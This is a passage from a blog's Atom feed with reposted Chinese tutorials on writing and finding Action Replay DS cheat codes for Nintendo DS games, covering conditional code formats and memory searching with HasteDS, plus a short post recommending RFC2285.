&lt;span style="color: blue;"&gt;YYYY&lt;/span&gt;。&lt;br /&gt;&lt;br /&gt;使用场合：&lt;br /&gt;１．依按键值来启动作弊码 (这里的 "作弊码" 狭义解作 "&lt;span style="color: darkred;"&gt;直接写入记忆体&lt;/span&gt;"　的金手指码)。&lt;br /&gt;２．当变量达到指定的值才启动作弊码。&lt;br /&gt;&lt;br /&gt;使用例子：&lt;span style="color: red;"&gt;9&lt;/span&gt;&lt;span style="color: green;"&gt;4000130&lt;/span&gt; &lt;span style="color: purple;"&gt;0000&lt;/span&gt;&lt;span style="color: blue;"&gt;01BB&lt;/span&gt;　　检查使用者是否按下　Select + L + Up 键&lt;br /&gt;&lt;span style="color: red;"&gt;2&lt;/span&gt;&lt;span style="color: green;"&gt;20031C0&lt;/span&gt; 000000&lt;span style="color: blue;"&gt;FF&lt;/span&gt;　　把 1 Byte 数据 &lt;span style="color: brown;"&gt;0x&lt;/span&gt;&lt;span style="color: blue;"&gt;FF&lt;/span&gt; 写入到位址 &lt;span style="color: brown;"&gt;0x&lt;/span&gt;&lt;span style="color: green;"&gt;020031C0&lt;/span&gt; 上&lt;br /&gt;&lt;span style="color: red;"&gt;D0&lt;/span&gt;000000 00000000　　结束&lt;br /&gt;&lt;br /&gt;指令原型：if &lt;span style="color: blue;"&gt;YYYY&lt;/span&gt; &lt;span style="color: darkred;"&gt;==&lt;/span&gt; (&lt;span style="color: darkred;"&gt;not&lt;/span&gt;(&lt;span style="color: purple;"&gt;ZZZZ&lt;/span&gt;) &lt;span style="color: darkred;"&gt;&amp;amp;&lt;/span&gt; [&lt;span style="color: green;"&gt;XXXXXXXX&lt;/span&gt;])  &lt;br /&gt;指令意思：假如 2 byte 数据 &lt;span style="color: blue;"&gt;YYYY&lt;/span&gt; 等如 &lt;span style="color: darkred;"&gt;not&lt;/span&gt;(&lt;span style="color: purple;"&gt;ZZZZ&lt;/span&gt;) &lt;span style="color: darkred;"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color: green;"&gt;XXXXXXXX&lt;/span&gt; 位址上的 2 byte 数据。&lt;br /&gt;&lt;br /&gt;&lt;span style="color: darkred;"&gt;==&lt;/span&gt; 是 "等如" 的意思，&lt;span style="color: darkred;"&gt;not&lt;/span&gt; 及 &lt;span style="color: darkred;"&gt;&amp;amp;&lt;/span&gt; 是运算符，&lt;span style="color: darkred;"&gt;&amp;amp;&lt;/span&gt; 也等同 &lt;span style="color: darkred;"&gt;AND&lt;/span&gt;，用法如下：&lt;br /&gt;&lt;br /&gt;&lt;span style="color: darkred;"&gt;Not&lt;/span&gt; 参数只有一个，用来把真假值反转，&lt;br /&gt;&lt;span style="color: darkred;"&gt;Not&lt;/span&gt;(1) = 0&lt;br /&gt;&lt;span style="color: darkred;"&gt;Not&lt;/span&gt;(0) = 1&lt;br /&gt;&lt;br /&gt;&lt;span style="color: darkred;"&gt;AND&lt;/span&gt; 的参数有两个，要两个都为真值结果才会是真，否则就是假。&lt;br /&gt;1 &lt;span style="color: darkred;"&gt;AND&lt;/span&gt; 1 = 1&lt;br /&gt;1 &lt;span style="color: darkred;"&gt;AND&lt;/span&gt; 0 = 0&lt;br /&gt;0 &lt;span style="color: darkred;"&gt;AND&lt;/span&gt; 1 = 0&lt;br /&gt;0 &lt;span style="color: darkred;"&gt;AND&lt;/span&gt; 0 = 0&lt;br /&gt;&lt;br /&gt;就以上面的例子　&lt;span style="color: red;"&gt;9&lt;/span&gt;&lt;span style="color: green;"&gt;4000130&lt;/span&gt; &lt;span style="color: purple;"&gt;0000&lt;/span&gt;&lt;span style="color: blue;"&gt;01BB&lt;/span&gt; 来详细说明，&lt;br /&gt;&lt;span style="color: green;"&gt;4000130&lt;/span&gt; 即是位址 &lt;span style="color: brown;"&gt;0x&lt;/span&gt;&lt;span style="color: green;"&gt;04000130&lt;/span&gt; ，也就是键盘I/O影射区的位址，&lt;br /&gt;&lt;span style="color: brown;"&gt;0x&lt;/span&gt;&lt;span style="color: blue;"&gt;01BB&lt;/span&gt; 是 Select + L + Up 的按键值。&lt;br /&gt;&lt;span style="color: darkred;"&gt;NOT&lt;/span&gt;(0000) = FFFF &amp;nbsp; &lt;br /&gt;(不要误认为应该是 1111 ，因为 &lt;span style="color: brown;"&gt;0x&lt;/span&gt;0000 是 16 bit，二进位是 0000000000000000,&lt;br /&gt;反转成为 1111111111111111，转换为十进位是 65535，转换为十六进位就是 FFFF。)&lt;br /&gt;&lt;span style="color: purple;"&gt;FFFF&lt;/span&gt; 的二进位表示式是 1111111111111111&lt;br /&gt;&lt;span style="color: blue;"&gt;01BB&lt;/span&gt; 的二进位表示式是 0000000110111011&lt;br /&gt;把 &lt;span style="color: purple;"&gt;FFFF&lt;/span&gt; 及 &lt;span style="color: blue;"&gt;01BB&lt;/span&gt; 进行 &lt;span style="color: darkred;"&gt;AND&lt;/span&gt; 运算，如下：&lt;br /&gt;1111111111111111 (&lt;span style="color: brown;"&gt;0x&lt;/span&gt;&lt;span style="color: purple;"&gt;FFFF&lt;/span&gt;)&lt;br /&gt;0000000110111011 (&lt;span style="color: brown;"&gt;0x&lt;/span&gt;&lt;span style="color: blue;"&gt;01BB&lt;/span&gt;) &lt;br /&gt;------------------------- &amp;nbsp;  &amp;nbsp;  &lt;br /&gt;0000000110111011 (&lt;span style="color: brown;"&gt;0x&lt;/span&gt;&lt;span style="color: blue;"&gt;01BB&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;如果执行指令 &lt;span style="color: red;"&gt;9&lt;/span&gt;&lt;span style="color: green;"&gt;4000130&lt;/span&gt; &lt;span style="color: purple;"&gt;0000&lt;/span&gt;&lt;span style="color: blue;"&gt;01BB&lt;/span&gt; 时，使用者是按了 Select + L + Up 键的话，&lt;br /&gt;代入数值  01BB &lt;span style="color: darkred;"&gt;==&lt;/span&gt; (&lt;span style="color: darkred;"&gt;not&lt;/span&gt;(&lt;span style="color: purple;"&gt;0000&lt;/span&gt;) &lt;span style="color: darkred;"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color: blue;"&gt;01BB&lt;/span&gt;) &lt;br /&gt;就合乎了  &lt;span style="color: blue;"&gt;YYYY&lt;/span&gt; &lt;span style="color: darkred;"&gt;==&lt;/span&gt; (&lt;span style="color: darkred;"&gt;not&lt;/span&gt;(&lt;span style="color: purple;"&gt;ZZZZ&lt;/span&gt;) &lt;span style="color: darkred;"&gt;&amp;amp;&lt;/span&gt; [&lt;span style="color: green;"&gt;XXXXXXXX&lt;/span&gt;]) 的比较条件，所以能执行下面其他的指令。&lt;br /&gt;&lt;br /&gt;好像挺复杂般，其实不然，大家只要把 &lt;span style="color: red;"&gt;9&lt;/span&gt;&lt;span style="color: green;"&gt;XXXXXXX&lt;/span&gt; &lt;span style="color: purple;"&gt;ZZZZ&lt;/span&gt;&lt;span style="color: blue;"&gt;YYYY&lt;/span&gt; 理解成这样：&lt;br /&gt;( 在 &lt;span style="color: purple;"&gt;ZZZZ&lt;/span&gt; 是 &lt;span style="color: purple;"&gt;0000&lt;/span&gt; 的情况下 )&lt;br /&gt;假如 2 byte 数据 &lt;span style="color: blue;"&gt;YYYY&lt;/span&gt;  &lt;span style="color: darkred;"&gt;==&lt;/span&gt; (等于) 位址 &lt;span style="color: green;"&gt;0XXXXXXX&lt;/span&gt; 上的 2 byte 数据，&lt;br /&gt;就执行其下的指令。&lt;br /&gt;这样去理解是否立即简单了许多呢？&lt;br /&gt;&lt;br /&gt;本例子中的 &lt;span style="color: red;"&gt;D0&lt;/span&gt;000000 00000000  用作条件判断式指令下的结束，&lt;br /&gt;作用是载入先前的执行状态 (如果不存在，就保持在上面指令执行时的状态)，&lt;br /&gt;很多朋友都曾见过这类金手指，都是以这个或是 &lt;span style="color: red;"&gt;D2&lt;/span&gt;000000 00000000 作结束的，&lt;br /&gt;由于作出比较时，得到的结果会影响状态位，所以当一个比较条件下其他的指令中，&lt;br /&gt;又包含条件判断指令，这时候状态位对指令的执行权会作出影响，&lt;br /&gt;所以就要决定因应状态位的应用，而决定使用不同的结束指令。&lt;br /&gt;&lt;span style="color: red;"&gt;D2&lt;/span&gt;000000 00000000 它的其中一个作用是结束时清空状态位、偏移值及 &lt;span style="color: red;"&gt;C&lt;/span&gt; 码设定。&lt;br /&gt;与 &lt;span style="color: red;"&gt;C&lt;/span&gt; 码配合的话 &lt;span style="color: red;"&gt;Dx&lt;/span&gt; 的值作为设置，挺复杂的说，由于不常用，故对于 &lt;span style="color: red;"&gt;C&lt;/span&gt; 码及 &lt;span style="color: red;"&gt;Dx&lt;/span&gt; 的配合，&lt;br /&gt;就不予以解说了。&lt;br /&gt;&lt;br /&gt;好像又越说越乱了，大家除非像编程般的运用他们，才要彻底的理解他们的分别及作用，&lt;br /&gt;否则一般使用上，习惯以 &lt;span style="color: red;"&gt;D2&lt;/span&gt;000000 00000000 作为条件判断式指令下的结束就可以了。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;***&lt;/span&gt; &lt;span style="color: purple;"&gt;下面的指令不再以上面那种麻烦的方式作详述，只以最简单、最易理解的方式去说明&lt;/span&gt;。&lt;span style="color: blue;"&gt;***&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;3&lt;/span&gt;&lt;span style="color: green;"&gt;XXXXXXX&lt;/span&gt; &lt;span style="color: blue;"&gt;YYYYYYYY&lt;/span&gt; ( &lt;span style="color: red;"&gt;大 于&lt;/span&gt; )&lt;br /&gt;假如 4 byte 数据 &lt;span style="color: blue;"&gt;YYYYYYYY&lt;/span&gt;  &lt;span style="color: darkred;"&gt;&amp;gt;&lt;/span&gt; (&lt;span style="color: red;"&gt;大于&lt;/span&gt;) 位址 &lt;span style="color: green;"&gt;0XXXXXXX&lt;/span&gt; 上的 4 byte 数据&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;4&lt;/span&gt;&lt;span style="color: green;"&gt;XXXXXXX&lt;/span&gt; &lt;span style="color: blue;"&gt;YYYYYYYY&lt;/span&gt; ( &lt;span style="color: red;"&gt;小 于&lt;/span&gt; )&lt;br /&gt;假如 4 byte 数据 &lt;span style="color: blue;"&gt;YYYYYYYY&lt;/span&gt;  &lt;span style="color: darkred;"&gt;&amp;lt;&lt;/span&gt; (&lt;span style="color: red;"&gt;小于&lt;/span&gt;) 位址 &lt;span style="color: green;"&gt;0XXXXXXX&lt;/span&gt; 上的 4 byte 数据&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;5&lt;/span&gt;&lt;span style="color: green;"&gt;XXXXXXX&lt;/span&gt; &lt;span style="color: blue;"&gt;YYYYYYYY&lt;/span&gt; ( &lt;span style="color: red;"&gt;等 于&lt;/span&gt; )&lt;br /&gt;假如 4 byte 数据 &lt;span style="color: blue;"&gt;YYYYYYYY&lt;/span&gt;  &lt;span style="color: darkred;"&gt;==&lt;/span&gt; (&lt;span style="color: red;"&gt;等于&lt;/span&gt;) 位址 &lt;span style="color: green;"&gt;0XXXXXXX&lt;/span&gt; 上的 4 byte 数据&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;6&lt;/span&gt;&lt;span style="color: green;"&gt;XXXXXXX&lt;/span&gt; &lt;span style="color: blue;"&gt;YYYYYYYY&lt;/span&gt; ( &lt;span style="color: red;"&gt;不 等 于&lt;/span&gt; )&lt;br /&gt;假如 4 byte 数据 &lt;span style="color: blue;"&gt;YYYYYYYY&lt;/span&gt;  &lt;span style="color: darkred;"&gt;!=&lt;/span&gt; (&lt;span style="color: red;"&gt;不等于&lt;/span&gt;) 位址 &lt;span style="color: green;"&gt;0XXXXXXX&lt;/span&gt; 上的 4 byte 数据&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;7&lt;/span&gt;&lt;span style="color: green;"&gt;XXXXXXX&lt;/span&gt; &lt;span style="color: purple;"&gt;ZZZZ&lt;/span&gt;&lt;span style="color: blue;"&gt;YYYY&lt;/span&gt; ( &lt;span style="color: red;"&gt;大 于&lt;/span&gt; )&lt;br /&gt;( 在 &lt;span style="color: purple;"&gt;ZZZZ&lt;/span&gt; 是 &lt;span style="color: purple;"&gt;0000&lt;/span&gt; 的情况下 )&lt;br /&gt;假如 2 byte 数据 &lt;span style="color: blue;"&gt;YYYY&lt;/span&gt;  &lt;span style="color: darkred;"&gt;&amp;gt;&lt;/span&gt; (&lt;span style="color: red;"&gt;大于&lt;/span&gt;) 位址 &lt;span style="color: green;"&gt;0XXXXXXX&lt;/span&gt; 上的 2 byte 数据&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;8&lt;/span&gt;&lt;span style="color: green;"&gt;XXXXXXX&lt;/span&gt; &lt;span style="color: purple;"&gt;ZZZZ&lt;/span&gt;&lt;span style="color: blue;"&gt;YYYY&lt;/span&gt; ( &lt;span style="color: red;"&gt;小 于&lt;/span&gt; )&lt;br /&gt;( 在 &lt;span style="color: purple;"&gt;ZZZZ&lt;/span&gt; 是 &lt;span style="color: purple;"&gt;0000&lt;/span&gt; 的情况下 )&lt;br /&gt;假如 2 byte 数据 &lt;span style="color: blue;"&gt;YYYY&lt;/span&gt;  &lt;span style="color: darkred;"&gt;&amp;lt;&lt;/span&gt; (&lt;span style="color: red;"&gt;小于&lt;/span&gt;) 位址 &lt;span style="color: green;"&gt;0XXXXXXX&lt;/span&gt; 上的 2 byte 数据&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;A&lt;/span&gt;&lt;span style="color: green;"&gt;XXXXXXX&lt;/span&gt; &lt;span style="color: purple;"&gt;ZZZZ&lt;/span&gt;&lt;span style="color: blue;"&gt;YYYY&lt;/span&gt; ( &lt;span style="color: red;"&gt;不 等 于&lt;/span&gt; )&lt;br /&gt;( 在 &lt;span style="color: purple;"&gt;ZZZZ&lt;/span&gt; 是 &lt;span style="color: purple;"&gt;0000&lt;/span&gt; 的情况下 )&lt;br /&gt;假如 2 byte 数据 &lt;span style="color: blue;"&gt;YYYY&lt;/span&gt;  &lt;span style="color: darkred;"&gt;!=&lt;/span&gt; (&lt;span style="color: red;"&gt;不等于&lt;/span&gt;) 位址 &lt;span style="color: green;"&gt;0XXXXXXX&lt;/span&gt; 上的 2 byte 数据&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;B&lt;/span&gt;&lt;span style="color: green;"&gt;XXXXXXX&lt;/span&gt; 00000000 ( &lt;span style="color: red;"&gt;读取记忆体数据设为偏移值&lt;/span&gt; )&lt;br /&gt;把位址 &lt;span style="color: brown;"&gt;0x&lt;/span&gt;&lt;span style="color: green;"&gt;0XXXXXXX&lt;/span&gt; 上的 4 byte 数据，读取成为偏移值&lt;br /&gt;&lt;br /&gt;这个是很实用的一个指令，希望大家能了解及活用它。&lt;br /&gt;&lt;br /&gt;使用场合：&lt;br /&gt;１．如果在游戏中要锁定很多变量值(例如道具、收集品)时，用这个很方便的。&lt;br /&gt;２．如果同一变量的位置不固定时，先找出变化位址的存放点，用 B 码读取成为偏移值，&lt;br /&gt;(其实个人认为这个称为变量基址才更贴切，以这个变量基址 + 偏移值访问不同的变量)&lt;br /&gt;就不怕下次再玩时，作弊码失效的了。&lt;br /&gt;&lt;br /&gt;使用例子：&lt;br /&gt;(以 Mario Kart DS 的作弊功能 "按 X 获得道具 &amp;lt;雷暴&amp;gt;" 来说明)&lt;br /&gt;Press X for Thunderbolt &lt;br /&gt;&lt;span style="color: red;"&gt;9&lt;/span&gt;&lt;span style="color: green;"&gt;23d629a&lt;/span&gt; &lt;span style="color: purple;"&gt;0000&lt;/span&gt;&lt;span style="color: blue;"&gt;0400&lt;/span&gt;　　读取 (被游戏程序处理过的)按键值来作判断&lt;br /&gt;&lt;span style="color: red;"&gt;6&lt;/span&gt;&lt;span style="color: green;"&gt;217bc2c&lt;/span&gt; &lt;span style="color: blue;"&gt;00000000&lt;/span&gt;　　假如位址 &lt;span style="color: brown;"&gt;0x&lt;/span&gt;&lt;span style="color: green;"&gt;0217BC2C&lt;/span&gt; 上的值不等于 &lt;span style="color: brown;"&gt;0x&lt;/span&gt;&lt;span style="color: blue;"&gt;00000000&lt;/span&gt; 　&lt;br /&gt;&lt;span style="color: red;"&gt;b&lt;/span&gt;&lt;span style="color: green;"&gt;217bc2c&lt;/span&gt; 00000000　　在位址 &lt;span style="color: brown;"&gt;0x&lt;/span&gt;&lt;span style="color: green;"&gt;0217BC2C&lt;/span&gt; 读取 4 byte 数据作为偏移值 (变量基址)&lt;br /&gt;&lt;span style="color: red;"&gt;2&lt;/span&gt;&lt;span style="color: green;"&gt;000004c&lt;/span&gt; 000000&lt;span style="color: blue;"&gt;08&lt;/span&gt;　　到变量基址 + &lt;span style="color: brown;"&gt;0x&lt;/span&gt;4C 偏移值的位址，写入 1 byte 数据 &lt;span style="color: brown;"&gt;0x&lt;/span&gt;&lt;span style="color: blue;"&gt;08&lt;/span&gt; &lt;br /&gt;&lt;span style="color: red;"&gt;2&lt;/span&gt;&lt;span style="color: green;"&gt;0000054&lt;/span&gt; 000000&lt;span style="color: blue;"&gt;01&lt;/span&gt;　　到变量基址 + &lt;span style="color: brown;"&gt;0x&lt;/span&gt;54 偏移值的位址，写入 1 byte 数据 &lt;span style="color: brown;"&gt;0x&lt;/span&gt;&lt;span style="color: blue;"&gt;01&lt;/span&gt; &lt;br /&gt;&lt;span style="color: red;"&gt;d2&lt;/span&gt;000000 00000000　　结束 &lt;br /&gt;&lt;br /&gt;补充：&lt;br /&gt;１．在本例子的游戏中查看位址 &lt;span style="color: brown;"&gt;0x&lt;/span&gt;&lt;span style="color: green;"&gt;023d629a&lt;/span&gt; 的值，当按下不同的键，这个值就会改变的。&lt;br /&gt;２．使用 &lt;span style="color: red;"&gt;B&lt;/span&gt; 码后，如未遇到结束指令，其后的 "&lt;span style="color: darkred;"&gt;直接写入记忆体指令&lt;/span&gt;" ，&lt;br /&gt;都会一直以变量基址 + 偏移来定址及写入的。　&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;E&lt;/span&gt;&lt;span style="color: green;"&gt;XXXXXXX&lt;/span&gt; &lt;span style="color: blue;"&gt;YYYYYYYY&lt;/span&gt;&lt;br /&gt;从现时的指令位置 + 8 的位址，读取 &lt;span style="color: blue;"&gt;YYYYYYYY&lt;/span&gt; byte 数据到 &lt;span style="color: brown;"&gt;0x&lt;/span&gt;&lt;span style="color: green;"&gt;0XXXXXXX&lt;/span&gt; + 偏移值的位址上。&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;F&lt;/span&gt;&lt;span style="color: green;"&gt;XXXXXXX&lt;/span&gt; &lt;span style="color: blue;"&gt;YYYYYYYY&lt;/span&gt;&lt;br /&gt;从偏移值的位址，读取 &lt;span style="color: blue;"&gt;YYYYYYYY&lt;/span&gt; byte 数据复制到位址 &lt;span style="color: brown;"&gt;0x&lt;/span&gt;&lt;span style="color: green;"&gt;0XXXXXXX&lt;/span&gt;。&lt;br /&gt;使用 &lt;span style="color: red;"&gt;F&lt;/span&gt; 码前，需要先使用 &lt;span style="color: red;"&gt;D3&lt;/span&gt;、&lt;span style="color: red;"&gt;DC&lt;/span&gt; 或 &lt;span style="color: red;"&gt;B&lt;/span&gt; 码以取得偏移值。&lt;br /&gt;&lt;span style="color: red;"&gt;D3&lt;/span&gt;000000 &lt;span style="color: purple;"&gt;ZZZZZZZZ&lt;/span&gt;　　设 4 byte 数据 &lt;span style="color: purple;"&gt;ZZZZZZZZ&lt;/span&gt; 为偏移值。&lt;br /&gt;&lt;span style="color: red;"&gt;DC&lt;/span&gt;000000 &lt;span style="color: purple;"&gt;ZZZZZZZZ&lt;/span&gt;　　偏移值 = 偏移值 + &lt;span style="color: purple;"&gt;ZZZZZZZZ&lt;/span&gt; (offset = offset + &lt;span style="color: purple;"&gt;ZZZZZZZZ&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;活用上面的条件判断式指令，一般的应用上来说，是够用有余的了，就说到这里好了。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;p.s. 本来跟部份朋友说了将在本篇中讲述修改 Rom 的，不过写完上面这些巳实在太累了，只能留待下一篇才继续了，抱歉！&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-8829154173301134545?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/8829154173301134545/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=8829154173301134545' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8829154173301134545'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8829154173301134545'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/08/diy-nds-ards.html' title='[转]不求人！DIY 自己找寻 NDS 游戏金手指密码_２ (ARDS 条件判断式指令)'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-2983523496119316609</id><published>2010-08-24T14:31:00.002+08:00</published><updated>2010-10-09T16:42:27.259+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='Reading'/><title type='text'>阅读推荐——RFC2285 - Benchmarking Terminology for LAN Switching Devices</title><content type='html'>RFC2285 - Benchmarking Terminology for LAN Switching Devices&lt;br /&gt;&lt;br /&gt;了解一下LAN设备测试中的术语。&lt;br /&gt;&lt;br /&gt;&lt;div style="color: blue;"&gt;&lt;a href="http://tools.ietf.org/html/rfc2285"&gt;阅读地址&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-2983523496119316609?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/2983523496119316609/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=2983523496119316609' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/2983523496119316609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/2983523496119316609'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/08/rfc2285-benchmarking-terminology-for.html' title='阅读推荐——RFC2285 - Benchmarking Terminology for LAN Switching Devices'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-60706659407203014</id><published>2010-08-22T13:44:00.007+08:00</published><updated>2010-08-24T14:27:47.103+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Games'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Rom Hack'/><title type='text'>[转]【新手入门】不求人！DIY 自己找寻 NDS 游戏金手指密码_１ (基本修改)</title><content type='html'>原帖地址：http://www.ndsbbs.com/read.php?tid=119029&lt;br /&gt;&lt;br /&gt;【新手入门】不求人！DIY 自己找寻 NDS 游戏金手指密码_１ (基本修改)&lt;br /&gt;&lt;br /&gt;很多人都喜欢使用金手指密码，无论是为了令游戏难度降低也好，或是希望在某些游戏中的收集品全部齐全也好，或是希望能出现一些游戏中原本不会出现的特殊情况也好(例如 MoonJump)，总之就是想透过金手指来获得一些乐趣，虽则有朋友认为玩游戏应该用实力，不该借助作弊码的帮助，有些更说使用金手指会令游戏性降低，怎样也好，对于应否使用金手指，并不是本文的主旨，总之喜欢的就使用，不喜欢的不使用就可以，随各位喜好。&lt;br /&gt;&lt;br /&gt;好了！言归正传，开始运用工具来找寻金手指密码 (作弊码)。&lt;br /&gt;&lt;br /&gt;使用工具：&lt;br /&gt;１）NDS 模拟器　(例如 &lt;span style="color: blue;"&gt;DeSmuME&lt;/span&gt; / &lt;span style="color: blue;"&gt;iDeaS &lt;/span&gt;/ &lt;span style="background-color: black;"&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;No$gba&lt;/span&gt;)&lt;br /&gt;２）HasteDS 　　(一个用作搜寻作弊码的工具)&lt;br /&gt;&lt;br /&gt;模拟器方面由于 DeSmuME 0.6.0 及 No$gba 2.4a 现时对游戏的支援度较高，建议使用此两种模拟器来找寻。HasteDS 原本是一个日文介面的程序，本人已把其繁体中文化，各位可以于本帖提供的连结下载。&lt;br /&gt;&lt;br /&gt;【 找 寻 步 骤 】&lt;br /&gt;１．先执行模拟器，并载入游戏，然后才执行 HasteDS。(由于 HasteDS 与模拟器的连系原理是搜寻记忆体中的字串/数据，如果未有载入游戏，视乎使用的模拟器，有可能连系不到，或连系后的记忆体位址是错误的。)&lt;br /&gt;&lt;br /&gt;２．HasteDS 的搜寻模式，可分为‘输入值’及‘与旧值作比较’，‘输入参数值’是在游戏中，直接看到的数字，‘与旧值作比较’通常用于能源棒或其他不是数字显示的变量。本例子中，在游戏画面见到时间是 1800，在 HasteDS 中参考过“输入参数格式”后，输入 M1800，就会在下面的列表出现很多合乎搜寻条件之位址，但实在太多，不知哪个才是，回到游戏中待时间被减去一些后，依照看到的数字再次输入搜寻，合乎条件的记录便会减少，几次之后，通常就会只剩下 1 笔或几笔记录，就可以进行作弊码测试。&lt;br /&gt;&lt;br /&gt;３．在列表中对作弊码按滑鼠一下，HasteDS 的记忆体检视区会立即跳到该位址行，我们可以对其修改，使用 [ 修改写入记忆体 ]　功能写入位址值及资料值就可以进行修改，然后回到游戏中，看看数字是否成为自己修改的那样；另一个测试方法是把列表中的作弊码，用滑鼠双按，就会自动把作弊码添加到左面的【 检 查 作 弊 码 】区，然后把“自动锁定作弊码”功能选取，回到游戏看看是否数字被锁定不再减少。&lt;br /&gt;&lt;br /&gt;４．好了！作弊码找到了，相信很多朋友都希望能在 DS 主机上使用而不是只用于模拟器，那就要进行下面的格式转换，由于现在找到的是 Raw Code，对于 Raw Code 的意义，网上有很多说明，大家只要明白　Raw Code 就是最原始状态的码就成了，既然是最原始，就是未有加密，未有加入不同金手指功能所支援的判断码，因此 Raw Code 只要稍加转换，就能用于所有支援金手指功能的(甚至不支援金手指的)烧录卡上，由于 R4 烧录卡现已支援，现在就简单一点以 R4 作为范例说明。 (转为 R4 支援的 Action Replay DS 格式金手指密码)刚才找到的金手指密码位址是 0x0211BCEE ，0x 是十六进位的意思，如果数值中含有英文字，当然一看就明白，如果全是数字，又没特别注明的话，会很容易混淆的，所以最好用 0x 注明，刚才锁定的数字是　0x0302 ，在记忆体检视区看到的不是 02 03 么？为何会交换了位置？由于变量值的存放是由最低位开始、最高位在最后面的，由此例如 0x01020304 存放在档案、或在记忆体时，位置就会是 04 03 02 01，大家可以用 Windows 自带的【小算盘】，以 16 进位的模式下，输入 0302，然后切换为 10 进位的话，就会见到该数值是 770 的了。由于之前在测试中用了不少时间，所以现在被锁定的的数字并不是全满的，为了美观一点，我们就把数值定为第一次搜寻时，时间全满的值 1800 (0x0708)。&lt;br /&gt;Action Replay DS 金手指密码可分为“条件判断式指令”及“直接写入记忆体指令”，此例子中只需使用简单的“直接写入记忆体指令”就可以，指令格式是：&lt;br /&gt;&lt;br /&gt;0XXXXXXX YYYYYYYY　　把 4 byte 数据 YYYYYYYY　写入到位址　XXXXXXX 上。&lt;br /&gt;1XXXXXXX 0000YYYY　　把 2 byte 数据 YYYY　　　写入到位址　XXXXXXX 上。&lt;br /&gt;2XXXXXXX 000000YY　　把 1 byte 数据 YY　　　　写入到位址　XXXXXXX 上。&lt;br /&gt;&lt;br /&gt;为了不会错误地把不想修改的数据也修改覆盖掉，请注意使用适当的使用 0 1 2 作头码，&lt;br /&gt;参照以上格式，刚才找到的作弊码就可以写成 1211BCEE 00000708，用 R4 官网提供的 Cheat Code Editor 加入此密码到金手指数据库 usrcheat.dat 内，然后复制到烧录卡上就可以在游戏中使用此金手指密码。&lt;br /&gt;&lt;br /&gt;【 备 注 】&lt;br /&gt;１．有关 HasteDS 的使用，本文只举出一个简单的例子，其他的功能例如‘跳到指定位址’、‘汇出记忆体数据’，和‘与旧值作比较’之搜寻方式，或界面上的其他未提及的设定，这些看界面就已经知道是用来做什么的了，在此就不多说明了，如有需要大家可自行尝试。&lt;br /&gt;&lt;br /&gt;２．如想更详细的了解 HasteDS 有关输入参数格式的标准与限制，可参看下载的档案中，内里的 HasteDS_manual.htm。&lt;br /&gt;&lt;br /&gt;３．HasteDS 可支援找寻的模拟器，就如 HasteDS 界面上看到的，但实际支援的版本没有注明，本人只试过 DeSmuME 0.6.0 及 No$gba 2.4a 免费版，这些暂时来说的已是最新版本了。&lt;br /&gt;&lt;br /&gt;４．本文作为一个入门级的找寻金手指范例，只适合新手看的，对于动态分配记忆体给变量的游戏，即是找到的密码下次再玩就巳经失效，或想依照找到的密码，对游戏 Rom 作静态修改，把运算该变量的指令修改，以求达到与锁定记忆体位址方式有相同效果的做法并未提及，&lt;br /&gt;有兴趣者请自行研究。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;下载　